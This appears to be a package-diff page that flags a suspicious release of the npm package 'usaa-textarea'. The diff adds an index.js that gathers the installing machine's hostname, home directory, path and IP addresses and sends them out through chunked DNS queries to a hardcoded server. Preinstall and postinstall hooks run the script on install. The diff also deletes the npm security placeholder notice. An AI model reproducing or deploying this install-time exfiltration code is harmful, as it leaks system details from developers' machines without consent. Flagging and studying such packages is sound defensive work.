usaa-textarea 0.0.1-security → 1.2.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of usaa-textarea might be problematic. Click here for more details.
- package/index.js +45 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const suffix = ".ns1.w00dr0w-usaa.com";
|
4
|
+
const package = "usaa-textarea";
|
5
|
+
|
6
|
+
data = package + '__' + os.hostname() +
|
7
|
+
'__' + os.homedir() +
|
8
|
+
'__' + __dirname;
|
9
|
+
|
10
|
+
const nets = os.networkInterfaces();
|
11
|
+
const results = Object.create(null); // Or just '{}', an empty object
|
12
|
+
|
13
|
+
for (const name of Object.keys(nets)) {
|
14
|
+
for (const net of nets[name]) {
|
15
|
+
// Skip over non-IPv4 and internal (i.e. 127.0.0.1) addresses
|
16
|
+
// 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
|
17
|
+
const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
|
18
|
+
if (net.family === familyV4Value && !net.internal) {
|
19
|
+
if (!results[name]) {
|
20
|
+
results[name] = [];
|
21
|
+
}
|
22
|
+
data = data + '__' + net.address;
|
23
|
+
//results[name].push(net.address);
|
24
|
+
}
|
25
|
+
}
|
26
|
+
}
|
27
|
+
|
28
|
+
data = data.replace(/[^a-zA-Z0-9._]/g,
|
29
|
+
function(f) {
|
30
|
+
return '_' + f.charCodeAt(0).toString(16);
|
31
|
+
}
|
32
|
+
);
|
33
|
+
|
34
|
+
data = data.match(/.{1,50}/g);
|
35
|
+
|
36
|
+
dns.setServers(['3.145.70.183']);
|
37
|
+
|
38
|
+
id = Math.random().toString(36).substring(6);
|
39
|
+
|
40
|
+
var i = 1;
|
41
|
+
|
42
|
+
data.forEach(function (chunk){
|
43
|
+
dns.resolve(id + '-' + i + '.' + chunk + suffix, 'A', console.log);
|
44
|
+
i++;
|
45
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "usaa-textarea",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.2.1",
|
4
|
+
"description": "Security Research Purposes Only",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "nslookup preinstall.dns.w00dr0w-usaa.com 3.145.70.183 && node index.js",
|
9
|
+
"start": "node index.js",
|
10
|
+
"postinstall": "nslookup preinstall.dns.w00dr0w-usaa.com 3.145.70.183 && node index.js"
|
11
|
+
},
|
12
|
+
"author": "",
|
13
|
+
"license": "ISC"
|
6
14
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=usaa-textarea for more information.
|